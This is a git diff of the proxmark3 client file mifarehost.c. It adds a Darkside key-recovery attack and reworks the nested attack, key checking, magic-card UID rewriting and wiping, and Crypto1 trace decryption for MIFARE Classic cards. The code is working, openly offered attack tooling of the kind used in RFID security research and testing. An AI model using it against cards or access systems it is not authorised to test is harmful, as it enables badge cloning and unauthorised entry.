]> git.zerfleddert.de Git - proxmark3-svn/blobdiff - client/mifarehost.c
added xcode 9.2 and some logging
[proxmark3-svn] / client / mifarehost.c
index 35499b83677e18129e2278221ed865edbc52f32a..67277b5904aa3c0f58cf1974808944a869d9cf79 100644 (file)
 // mifare commands\r
 //-----------------------------------------------------------------------------\r
 \r
+#include "mifarehost.h"\r
+\r
 #include <stdio.h>\r
-#include <stdlib.h> \r
+#include <stdlib.h>\r
 #include <string.h>\r
 #include <pthread.h>\r
-#include "mifarehost.h"\r
-#include "proxmark3.h"\r
 \r
-// MIFARE\r
-int compar_int(const void * a, const void * b) {\r
+#include "crapto1/crapto1.h"\r
+#include "proxmark3.h"\r
+#include "usb_cmd.h"\r
+#include "cmdmain.h"\r
+#include "ui.h"\r
+#include "util.h"\r
+#include "iso14443crc.h"\r
+\r
+#include "mifare.h"\r
+\r
+// mifare tracer flags used in mfTraceDecode()\r
+#define TRACE_IDLE                                             0x00\r
+#define TRACE_AUTH1                                            0x01\r
+#define TRACE_AUTH2                                            0x02\r
+#define TRACE_AUTH_OK                                  0x03\r
+#define TRACE_READ_DATA                                0x04\r
+#define TRACE_WRITE_OK                                 0x05\r
+#define TRACE_WRITE_DATA                               0x06\r
+#define TRACE_ERROR                                            0xFF\r
+\r
+\r
+static int compare_uint64(const void *a, const void *b) {\r
        // didn't work: (the result is truncated to 32 bits)\r
-       //return (*(uint64_t*)b - *(uint64_t*)a);\r
+       //return (*(int64_t*)b - *(int64_t*)a);\r
 \r
        // better:\r
        if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
-       else if (*(uint64_t*)b > *(uint64_t*)a) return 1;\r
+       else if (*(uint64_t*)b < *(uint64_t*)a) return 1;\r
        else return -1;\r
 }\r
 \r
+\r
+// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.\r
+static uint32_t intersection(uint64_t *list1, uint64_t *list2)\r
+{\r
+       if (list1 == NULL || list2 == NULL) {\r
+               return 0;\r
+       }\r
+       uint64_t *p1, *p2, *p3;\r
+       p1 = p3 = list1;\r
+       p2 = list2;\r
+\r
+       while ( *p1 != -1 && *p2 != -1 ) {\r
+               if (compare_uint64(p1, p2) == 0) {\r
+                       *p3++ = *p1++;\r
+                       p2++;\r
+               }\r
+               else {\r
+                       while (compare_uint64(p1, p2) < 0) ++p1;\r
+                       while (compare_uint64(p1, p2) > 0) ++p2;\r
+               }\r
+       }\r
+       *p3 = -1;\r
+       return p3 - list1;\r
+}\r
+\r
+\r
+// Darkside attack (hf mf mifare)\r
+static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {\r
+       struct Crypto1State *states;\r
+       uint32_t i, pos, rr; //nr_diff;\r
+       uint8_t bt, ks3x[8], par[8][8];\r
+       uint64_t key_recovered;\r
+       static uint64_t *keylist;\r
+       rr = 0;\r
+\r
+       // Reset the last three significant bits of the reader nonce\r
+       nr &= 0xffffff1f;\r
+\r
+       for (pos=0; pos<8; pos++) {\r
+               ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;\r
+               bt = (par_info >> (pos*8)) & 0xff;\r
+               for (i=0; i<8; i++)     {\r
+                               par[7-pos][i] = (bt >> i) & 0x01;\r
+               }\r
+       }\r
+\r
+       states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));\r
+\r
+       if (states == NULL) {\r
+               *keys = NULL;\r
+               return 0;\r
+       }\r
+\r
+       keylist = (uint64_t*)states;\r
+\r
+       for (i = 0; keylist[i]; i++) {\r
+               lfsr_rollback_word(states+i, uid^nt, 0);\r
+               crypto1_get_lfsr(states+i, &key_recovered);\r
+               keylist[i] = key_recovered;\r
+       }\r
+       keylist[i] = -1;\r
+\r
+       *keys = keylist;\r
+       return i;\r
+}\r
+\r
+\r
+int mfDarkside(uint64_t *key)\r
+{\r
+       uint32_t uid = 0;\r
+       uint32_t nt = 0, nr = 0;\r
+       uint64_t par_list = 0, ks_list = 0;\r
+       uint64_t *keylist = NULL, *last_keylist = NULL;\r
+       uint32_t keycount = 0;\r
+       int16_t isOK = 0;\r
+\r
+       UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
+\r
+       // message\r
+       printf("-------------------------------------------------------------------------\n");\r
+       printf("Executing command. Expected execution time: 25sec on average\n");\r
+       printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
+       printf("-------------------------------------------------------------------------\n");\r
+\r
+\r
+       while (true) {\r
+               clearCommandBuffer();\r
+               SendCommand(&c);\r
+\r
+               //flush queue\r
+               while (ukbhit()) {\r
+                       int c = getchar(); (void) c;\r
+               }\r
+\r
+               // wait cycle\r
+               while (true) {\r
+                       printf(".");\r
+                       fflush(stdout);\r
+                       if (ukbhit()) {\r
+                               return -5;\r
+                               break;\r
+                       }\r
+\r
+                       UsbCommand resp;\r
+                       if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
+                               isOK  = resp.arg[0];\r
+                               if (isOK < 0) {\r
+                                       return isOK;\r
+                               }\r
+                               uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
+                               nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
+                               par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
+                               ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
+                               nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
+                               break;\r
+                       }\r
+               }\r
+\r
+               if (par_list == 0 && c.arg[0] == true) {\r
+                       PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");\r
+                       PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");\r
+               }\r
+               c.arg[0] = false;\r
+\r
+               keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);\r
+\r
+               if (keycount == 0) {\r
+                       PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);\r
+                       PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
+                       continue;\r
+               }\r
+\r
+               qsort(keylist, keycount, sizeof(*keylist), compare_uint64);\r
+               keycount = intersection(last_keylist, keylist);\r
+               if (keycount == 0) {\r
+                       free(last_keylist);\r
+                       last_keylist = keylist;\r
+                       continue;\r
+               }\r
+\r
+               if (keycount > 1) {\r
+                       PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);\r
+               } else {\r
+                       PrintAndLog("Found a possible key. Trying to authenticate...\n");\r
+               }\r
+\r
+               *key = -1;\r
+               uint8_t keyBlock[USB_CMD_DATA_SIZE];\r
+               int max_keys = USB_CMD_DATA_SIZE/6;\r
+               for (int i = 0; i < keycount; i += max_keys) {\r
+                       int size = keycount - i > max_keys ? max_keys : keycount - i;\r
+                       for (int j = 0; j < size; j++) {\r
+                               if (last_keylist == NULL) {\r
+                                       num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);\r
+                               } else {\r
+                                       num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);\r
+                               }\r
+                       }\r
+                       if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {\r
+                               break;\r
+                       }\r
+               }\r
+\r
+               if (*key != -1) {\r
+                       free(last_keylist);\r
+                       free(keylist);\r
+                       break;\r
+               } else {\r
+                       PrintAndLog("Authentication failed. Trying again...");\r
+                       free(last_keylist);\r
+                       last_keylist = keylist;\r
+               }\r
+       }\r
+\r
+       return 0;\r
+}\r
+\r
+\r
+int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){\r
+\r
+       *key = -1;\r
+\r
+       UsbCommand c = {CMD_MIFARE_CHKKEYS, {((blockNo & 0xff) | ((keyType & 0xff) << 8)), clear_trace, keycnt}}; \r
+       memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
+       SendCommand(&c);\r
+\r
+       UsbCommand resp;\r
+       if (!WaitForResponseTimeout(CMD_ACK,&resp,3000)) return 1; \r
+       if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
+       *key = bytes_to_num(resp.d.asBytes, 6);\r
+       return 0;\r
+}\r
+\r
+int mfCheckKeysSec(uint8_t sectorCnt, uint8_t keyType, uint8_t timeout14a, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, sector_t * e_sector){\r
+\r
+       uint8_t keyPtr = 0;\r
+\r
+       if (e_sector == NULL)\r
+               return -1;\r
+\r
+       UsbCommand c = {CMD_MIFARE_CHKKEYS, {((sectorCnt & 0xff) | ((keyType & 0xff) << 8)), (clear_trace | 0x02)|((timeout14a & 0xff) << 8), keycnt}}; \r
+       memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
+       SendCommand(&c);\r
+\r
+       UsbCommand resp;\r
+       if (!WaitForResponseTimeoutW(CMD_ACK, &resp, MAX(3000, 1000 + 13 * sectorCnt * keycnt * (keyType == 2 ? 2 : 1)), false)) return 1; // timeout: 13 ms / fail auth\r
+       if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
+       \r
+       bool foundAKey = false;\r
+       for(int sec = 0; sec < sectorCnt; sec++){\r
+               for(int keyAB = 0; keyAB < 2; keyAB++){\r
+                       keyPtr = *(resp.d.asBytes + keyAB * 40 + sec);\r
+                       if (keyPtr){\r
+                               e_sector[sec].foundKey[keyAB] = true;\r
+                               e_sector[sec].Key[keyAB] = bytes_to_num(keyBlock + (keyPtr - 1) * 6, 6);\r
+                               foundAKey = true;\r
+                       }\r
+               }\r
+       }\r
+       return foundAKey ? 0 : 3;\r
+}\r
+\r
 // Compare 16 Bits out of cryptostate\r
 int Compare16Bits(const void * a, const void * b) {\r
        if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;\r
@@ -33,7 +275,7 @@ int Compare16Bits(const void * a, const void * b) {
        else return -1;\r
 }\r
 \r
-typedef \r
+typedef\r
        struct {\r
                union {\r
                        struct Crypto1State *slhead;\r
@@ -63,56 +305,54 @@ void* nested_worker_thread(void *arg)
        statelist->len = p1 - statelist->head.slhead;\r
        statelist->tail.sltail = --p1;\r
        qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits);\r
-       \r
+\r
        return statelist->head.slhead;\r
 }\r
 \r
-int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate) \r
+int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate)\r
 {\r
-       uint16_t i, len;\r
+       uint16_t i;\r
        uint32_t uid;\r
        UsbCommand resp;\r
 \r
        StateList_t statelists[2];\r
        struct Crypto1State *p1, *p2, *p3, *p4;\r
-       \r
+\r
        // flush queue\r
-       WaitForResponseTimeout(CMD_ACK,NULL,100);\r
-       \r
+       WaitForResponseTimeout(CMD_ACK, NULL, 100);\r
+\r
        UsbCommand c = {CMD_MIFARE_NESTED, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, calibrate}};\r
        memcpy(c.d.asBytes, key, 6);\r
        SendCommand(&c);\r
 \r
-       if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {\r
-               len = resp.arg[1];\r
-               if (len == 2) { \r
-                       memcpy(&uid, resp.d.asBytes, 4);\r
-                       PrintAndLog("uid:%08x len=%d trgbl=%d trgkey=%x", uid, len, (uint16_t)resp.arg[2] & 0xff, (uint16_t)resp.arg[2] >> 8);\r
-                       \r
-                       for (i = 0; i < 2; i++) {\r
-                               statelists[i].blockNo = resp.arg[2] & 0xff;\r
-                               statelists[i].keyType = (resp.arg[2] >> 8) & 0xff;\r
-                               statelists[i].uid = uid;\r
-\r
-                               memcpy(&statelists[i].nt,  (void *)(resp.d.asBytes + 4 + i * 8 + 0), 4);\r
-                               memcpy(&statelists[i].ks1, (void *)(resp.d.asBytes + 4 + i * 8 + 4), 4);\r
-                       }\r
-               }\r
-               else {\r
-                       PrintAndLog("Got 0 keys from proxmark."); \r
-                       return 1;\r
-               }\r
+       if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {\r
+               return -1;\r
        }\r
-       \r
+\r
+       if (resp.arg[0]) {\r
+               return resp.arg[0];  // error during nested\r
+       }\r
+\r
+       memcpy(&uid, resp.d.asBytes, 4);\r
+       PrintAndLog("uid:%08x trgbl=%d trgkey=%x", uid, (uint16_t)resp.arg[2] & 0xff, (uint16_t)resp.arg[2] >> 8);\r
+\r
+       for (i = 0; i < 2; i++) {\r
+               statelists[i].blockNo = resp.arg[2] & 0xff;\r
+               statelists[i].keyType = (resp.arg[2] >> 8) & 0xff;\r
+               statelists[i].uid = uid;\r
+               memcpy(&statelists[i].nt,  (void *)(resp.d.asBytes + 4 + i * 8 + 0), 4);\r
+               memcpy(&statelists[i].ks1, (void *)(resp.d.asBytes + 4 + i * 8 + 4), 4);\r
+       }\r
+\r
        // calc keys\r
-       \r
+\r
        pthread_t thread_id[2];\r
-               \r
+\r
        // create and run worker threads\r
        for (i = 0; i < 2; i++) {\r
                pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);\r
        }\r
-       \r
+\r
        // wait for threads to terminate:\r
        for (i = 0; i < 2; i++) {\r
                pthread_join(thread_id[i], (void*)&statelists[i].head.slhead);\r
@@ -122,7 +362,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
        // the first 16 Bits of the cryptostate already contain part of our key.\r
        // Create the intersection of the two lists based on these 16 Bits and\r
        // roll back the cryptostate\r
-       p1 = p3 = statelists[0].head.slhead; \r
+       p1 = p3 = statelists[0].head.slhead;\r
        p2 = p4 = statelists[1].head.slhead;\r
        while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {\r
                if (Compare16Bits(p1, p2) == 0) {\r
@@ -147,8 +387,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
                        while (Compare16Bits(p1, p2) == 1) p2++;\r
                }\r
        }\r
-       p3->even = 0; p3->odd = 0;\r
-       p4->even = 0; p4->odd = 0;\r
+       *(uint64_t*)p3 = -1;\r
+       *(uint64_t*)p4 = -1;\r
        statelists[0].len = p3 - statelists[0].head.slhead;\r
        statelists[1].len = p4 - statelists[1].head.slhead;\r
        statelists[0].tail.sltail=--p3;\r
@@ -156,24 +396,9 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
 \r
        // the statelists now contain possible keys. The key we are searching for must be in the\r
        // intersection of both lists. Create the intersection:\r
-       qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int);\r
-       qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int);\r
-\r
-       uint64_t *p5, *p6, *p7;\r
-       p5 = p7 = statelists[0].head.keyhead; \r
-       p6 = statelists[1].head.keyhead;\r
-       while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) {\r
-               if (compar_int(p5, p6) == 0) {\r
-                       *p7++ = *p5++;\r
-                       p6++;\r
-               }\r
-               else {\r
-                       while (compar_int(p5, p6) == -1) p5++;\r
-                       while (compar_int(p5, p6) == 1) p6++;\r
-               }\r
-       }\r
-       statelists[0].len = p7 - statelists[0].head.keyhead;\r
-       statelists[0].tail.keytail=--p7;\r
+       qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);\r
+       qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);\r
+       statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);\r
 \r
        memset(resultKey, 0, 6);\r
        // The list may still contain several key candidates. Test each of them with mfCheckKeys\r
@@ -183,30 +408,15 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
                crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);\r
                num_to_bytes(key64, 6, keyBlock);\r
                key64 = 0;\r
-               if (!mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, 1, keyBlock, &key64)) {\r
+               if (!mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, 1, keyBlock, &key64)) {\r
                        num_to_bytes(key64, 6, resultKey);\r
                        break;\r
                }\r
        }\r
-       \r
+\r
        free(statelists[0].head.slhead);\r
        free(statelists[1].head.slhead);\r
-       \r
-       return 0;\r
-}\r
-\r
-int mfCheckKeys (uint8_t blockNo, uint8_t keyType, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){\r
-\r
-       *key = 0;\r
 \r
-       UsbCommand c = {CMD_MIFARE_CHKKEYS, {blockNo, keyType, keycnt}};\r
-       memcpy(c.d.asBytes, keyBlock, 6 * keycnt);\r
-       SendCommand(&c);\r
-\r
-       UsbCommand resp;\r
-       if (!WaitForResponseTimeout(CMD_ACK,&resp,3000)) return 1;\r
-       if ((resp.arg[0] & 0xff) != 0x01) return 2;\r
-       *key = bytes_to_num(resp.d.asBytes, 6);\r
        return 0;\r
 }\r
 \r
@@ -224,80 +434,129 @@ int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) {
 \r
 int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount) {\r
        UsbCommand c = {CMD_MIFARE_EML_MEMSET, {blockNum, blocksCount, 0}};\r
-       memcpy(c.d.asBytes, data, blocksCount * 16); \r
+       memcpy(c.d.asBytes, data, blocksCount * 16);\r
        SendCommand(&c);\r
        return 0;\r
 }\r
 \r
 // "MAGIC" CARD\r
 \r
-int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, bool wantWipe) {\r
-       uint8_t oldblock0[16] = {0x00};\r
-       uint8_t block0[16] = {0x00};\r
+int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) {\r
+       uint8_t isOK = 0;\r
 \r
-       int old = mfCGetBlock(0, oldblock0, CSETBLOCK_SINGLE_OPER);\r
-       if (old == 0) {\r
-               memcpy(block0, oldblock0, 16);\r
-               PrintAndLog("old block 0:  %s", sprint_hex(block0,16));\r
+       UsbCommand c = {CMD_MIFARE_CGETBLOCK, {params, 0, blockNo}};\r
+       SendCommand(&c);\r
+\r
+       UsbCommand resp;\r
+       if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {\r
+               isOK  = resp.arg[0] & 0xff;\r
+               memcpy(data, resp.d.asBytes, 16);\r
+               if (!isOK) return 2;\r
        } else {\r
-               PrintAndLog("Couldn't get old data. Will write over the last bytes of Block 0.");\r
+               PrintAndLog("Command execute timeout");\r
+               return 1;\r
        }\r
-\r
-       // fill in the new values\r
-       // UID\r
-       memcpy(block0, uid, 4); \r
-       // Mifare UID BCC\r
-       block0[4] = block0[0]^block0[1]^block0[2]^block0[3];\r
-       // mifare classic SAK(byte 5) and ATQA(byte 6 and 7, reversed)\r
-       if (sak!=NULL)\r
-               block0[5]=sak[0];\r
-       if (atqa!=NULL) {\r
-               block0[6]=atqa[1];\r
-               block0[7]=atqa[0];\r
-       }\r
-       PrintAndLog("new block 0:  %s", sprint_hex(block0,16));\r
-       return mfCSetBlock(0, block0, oldUID, wantWipe, CSETBLOCK_SINGLE_OPER);\r
+       return 0;\r
 }\r
 \r
 int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, bool wantWipe, uint8_t params) {\r
 \r
        uint8_t isOK = 0;\r
        UsbCommand c = {CMD_MIFARE_CSETBLOCK, {wantWipe, params & (0xFE | (uid == NULL ? 0:1)), blockNo}};\r
-       memcpy(c.d.asBytes, data, 16); \r
+       memcpy(c.d.asBytes, data, 16);\r
        SendCommand(&c);\r
 \r
-  UsbCommand resp;\r
-       if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {\r
+       UsbCommand resp;\r
+       if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {\r
                isOK  = resp.arg[0] & 0xff;\r
-               if (uid != NULL) \r
+               if (uid != NULL)\r
                        memcpy(uid, resp.d.asBytes, 4);\r
-               if (!isOK) \r
+               if (!isOK)\r
                        return 2;\r
        } else {\r
                PrintAndLog("Command execute timeout");\r
                return 1;\r
        }\r
+\r
        return 0;\r
 }\r
 \r
-int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) {\r
+int mfCWipe(uint32_t numSectors, bool gen1b, bool wantWipe, bool wantFill) {\r
        uint8_t isOK = 0;\r
-\r
-       UsbCommand c = {CMD_MIFARE_CGETBLOCK, {params, 0, blockNo}};\r
+       uint8_t cmdParams = wantWipe + wantFill * 0x02 + gen1b * 0x04;\r
+       UsbCommand c = {CMD_MIFARE_CWIPE, {numSectors, cmdParams, 0}};\r
        SendCommand(&c);\r
 \r
-  UsbCommand resp;\r
-       if (WaitForResponseTimeout(CMD_ACK,&resp,1500)) {\r
-               isOK  = resp.arg[0] & 0xff;\r
-               memcpy(data, resp.d.asBytes, 16);\r
-               if (!isOK) return 2;\r
+       UsbCommand resp;\r
+       WaitForResponse(CMD_ACK,&resp);\r
+       isOK  = resp.arg[0] & 0xff;\r
+       \r
+       return isOK;\r
+}\r
+\r
+int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID) {\r
+       uint8_t oldblock0[16] = {0x00};\r
+       uint8_t block0[16] = {0x00};\r
+       int gen = 0, res;\r
+\r
+       gen = mfCIdentify();\r
+\r
+       /* generation 1a magic card by default */\r
+       uint8_t cmdParams = CSETBLOCK_SINGLE_OPER;\r
+       if (gen == 2) {\r
+               /* generation 1b magic card */\r
+               cmdParams = CSETBLOCK_SINGLE_OPER | CSETBLOCK_MAGIC_1B;\r
+       }\r
+       \r
+       res = mfCGetBlock(0, oldblock0, cmdParams);\r
+\r
+       if (res == 0) {\r
+               memcpy(block0, oldblock0, 16);\r
+               PrintAndLog("old block 0:  %s", sprint_hex(block0,16));\r
        } else {\r
-               PrintAndLog("Command execute timeout");\r
-               return 1;\r
+               PrintAndLog("Couldn't get old data. Will write over the last bytes of Block 0.");\r
+       }\r
+\r
+       // fill in the new values\r
+       // UID\r
+       memcpy(block0, uid, 4);\r
+       // Mifare UID BCC\r
+       block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3];\r
+       // mifare classic SAK(byte 5) and ATQA(byte 6 and 7, reversed)\r
+       if (sak != NULL)\r
+               block0[5] = sak[0];\r
+       if (atqa != NULL) {\r
+               block0[6] = atqa[1];\r
+               block0[7] = atqa[0];\r
+       }\r
+       PrintAndLog("new block 0:  %s", sprint_hex(block0, 16));\r
+\r
+       res = mfCSetBlock(0, block0, oldUID, false, cmdParams);\r
+       if (res) {\r
+               PrintAndLog("Can't set block 0. Error: %d", res);\r
+               return res;\r
        }\r
+       \r
        return 0;\r
 }\r
 \r
+int mfCIdentify() {\r
+       UsbCommand c = {CMD_MIFARE_CIDENT, {0, 0, 0}};\r
+       SendCommand(&c);\r
+       UsbCommand resp;\r
+       WaitForResponse(CMD_ACK,&resp);\r
+\r
+       uint8_t isGeneration = resp.arg[0] & 0xff;\r
+       switch( isGeneration ){\r
+               case 1: PrintAndLog("Chinese magic backdoor commands (GEN 1a) detected"); break;\r
+               case 2: PrintAndLog("Chinese magic backdoor command (GEN 1b) detected"); break;\r
+               default: PrintAndLog("No chinese magic backdoor command detected"); break;\r
+       }\r
+\r
+       return (int) isGeneration;\r
+}\r
+\r
+\r
 // SNIFFER\r
 \r
 // constants\r
@@ -329,7 +588,7 @@ int isTraceCardEmpty(void) {
 }\r
 \r
 int isBlockEmpty(int blockN) {\r
-       for (int i = 0; i < 16; i++) \r
+       for (int i = 0; i < 16; i++)\r
                if (traceCard[blockN * 16 + i] != 0) return 0;\r
 \r
        return 1;\r
@@ -339,30 +598,44 @@ int isBlockTrailer(int blockN) {
  return ((blockN & 0x03) == 0x03);\r
 }\r
 \r
+int saveTraceCard(void) {\r
+       FILE * f;\r
+\r
+       if ((!strlen(traceFileName)) || (isTraceCardEmpty())) return 0;\r
+\r
+       f = fopen(traceFileName, "w+");\r
+       if ( !f ) return 1;\r
+\r
+       for (int i = 0; i < 64; i++) {  // blocks\r
+               for (int j = 0; j < 16; j++)  // bytes\r
+                       fprintf(f, "%02x", *(traceCard + i * 16 + j));\r
+               fprintf(f,"\n");\r
+       }\r
+       fclose(f);\r
+       return 0;\r
+}\r
+\r
 int loadTraceCard(uint8_t *tuid) {\r
        FILE * f;\r
        char buf[64] = {0x00};\r
        uint8_t buf8[64] = {0x00};\r
        int i, blockNum;\r
-       \r
-       if (!isTraceCardEmpty()) \r
+\r
+       if (!isTraceCardEmpty())\r
                saveTraceCard();\r
-               \r
+\r
        memset(traceCard, 0x00, 4096);\r
        memcpy(traceCard, tuid + 3, 4);\r
 \r
        FillFileNameByUID(traceFileName, tuid, ".eml", 7);\r
 \r
        f = fopen(traceFileName, "r");\r
-       if (!f) {\r
-               fclose(f);\r
-               return 1;\r
-       }\r
-       \r
+       if (!f) return 1;\r
+\r
        blockNum = 0;\r
-               \r
+\r
        while(!feof(f)){\r
-       \r
+\r
                memset(buf, 0, sizeof(buf));\r
                if (fgets(buf, sizeof(buf), f) == NULL) {\r
                        PrintAndLog("File reading error.");\r
@@ -388,42 +661,22 @@ int loadTraceCard(uint8_t *tuid) {
        return 0;\r
 }\r
 \r
-int saveTraceCard(void) {\r
-       FILE * f;\r
-       \r
-       if ((!strlen(traceFileName)) || (isTraceCardEmpty())) return 0;\r
-       \r
-       f = fopen(traceFileName, "w+");\r
-       if ( !f ) {\r
-               fclose(f);\r
-               return 1;\r
-       }\r
-       \r
-       for (int i = 0; i < 64; i++) {  // blocks\r
-               for (int j = 0; j < 16; j++)  // bytes\r
-                       fprintf(f, "%02x", *(traceCard + i * 16 + j)); \r
-               fprintf(f,"\n");\r
-       }\r
-       fclose(f);\r
-       return 0;\r
-}\r
-\r
 int mfTraceInit(uint8_t *tuid, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFile) {\r
 \r
-       if (traceCrypto1) \r
+       if (traceCrypto1)\r
                crypto1_destroy(traceCrypto1);\r
 \r
        traceCrypto1 = NULL;\r
 \r
-       if (wantSaveToEmlFile) \r
+       if (wantSaveToEmlFile)\r
                loadTraceCard(tuid);\r
-               \r
+\r
        traceCard[4] = traceCard[0] ^ traceCard[1] ^ traceCard[2] ^ traceCard[3];\r
        traceCard[5] = sak;\r
        memcpy(&traceCard[6], atqa, 2);\r
        traceCurBlock = 0;\r
        uid = bytes_to_num(tuid + 3, 4);\r
-       \r
+\r
        traceState = TRACE_IDLE;\r
 \r
        return 0;\r
@@ -432,7 +685,7 @@ int mfTraceInit(uint8_t *tuid, uint8_t *atqa, uint8_t sak, bool wantSaveToEmlFil
 void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted){\r
        uint8_t bt = 0;\r
        int i;\r
-       \r
+\r
        if (len != 1) {\r
                for (i = 0; i < len; i++)\r
                        data[i] = crypto1_byte(pcs, 0x00, isEncrypted) ^ data[i];\r
@@ -440,7 +693,7 @@ void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool i
                bt = 0;\r
                for (i = 0; i < 4; i++)\r
                        bt |= (crypto1_bit(pcs, 0, isEncrypted) ^ BIT(data[0], i)) << i;\r
-                               \r
+\r
                data[0] = bt;\r
        }\r
        return;\r
@@ -455,24 +708,24 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                traceState = TRACE_ERROR;\r
                return 1;\r
        }\r
-       \r
+\r
        memcpy(data, data_src, len);\r
        if ((traceCrypto1) && ((traceState == TRACE_IDLE) || (traceState > TRACE_AUTH_OK))) {\r
                mf_crypto1_decrypt(traceCrypto1, data, len, 0);\r
                PrintAndLog("dec> %s", sprint_hex(data, len));\r
-               AddLogHex(logHexFileName, "dec> ", data, len); \r
+               AddLogHex(logHexFileName, "dec> ", data, len);\r
        }\r
-       \r
+\r
        switch (traceState) {\r
-       case TRACE_IDLE: \r
+       case TRACE_IDLE:\r
                // check packet crc16!\r
                if ((len >= 4) && (!CheckCrc14443(CRC_14443_A, data, len))) {\r
                        PrintAndLog("dec> CRC ERROR!!!");\r
-                       AddLogLine(logHexFileName, "dec> ", "CRC ERROR!!!"); \r
+                       AddLogLine(logHexFileName, "dec> ", "CRC ERROR!!!");\r
                        traceState = TRACE_ERROR;  // do not decrypt the next commands\r
                        return 1;\r
                }\r
-               \r
+\r
                // AUTHENTICATION\r
                if ((len ==4) && ((data[0] == 0x60) || (data[0] == 0x61))) {\r
                        traceState = TRACE_AUTH1;\r
@@ -500,11 +753,11 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                        traceState = TRACE_ERROR;  // do not decrypt the next commands\r
                        return 0;\r
                }\r
-               \r
+\r
                return 0;\r
        break;\r
-       \r
-       case TRACE_READ_DATA: \r
+\r
+       case TRACE_READ_DATA:\r
                if (len == 18) {\r
                        traceState = TRACE_IDLE;\r
 \r
@@ -521,7 +774,7 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                }\r
        break;\r
 \r
-       case TRACE_WRITE_OK: \r
+       case TRACE_WRITE_OK:\r
                if ((len == 1) && (data[0] == 0x0a)) {\r
                        traceState = TRACE_WRITE_DATA;\r
 \r
@@ -532,7 +785,7 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                }\r
        break;\r
 \r
-       case TRACE_WRITE_DATA: \r
+       case TRACE_WRITE_DATA:\r
                if (len == 18) {\r
                        traceState = TRACE_IDLE;\r
 \r
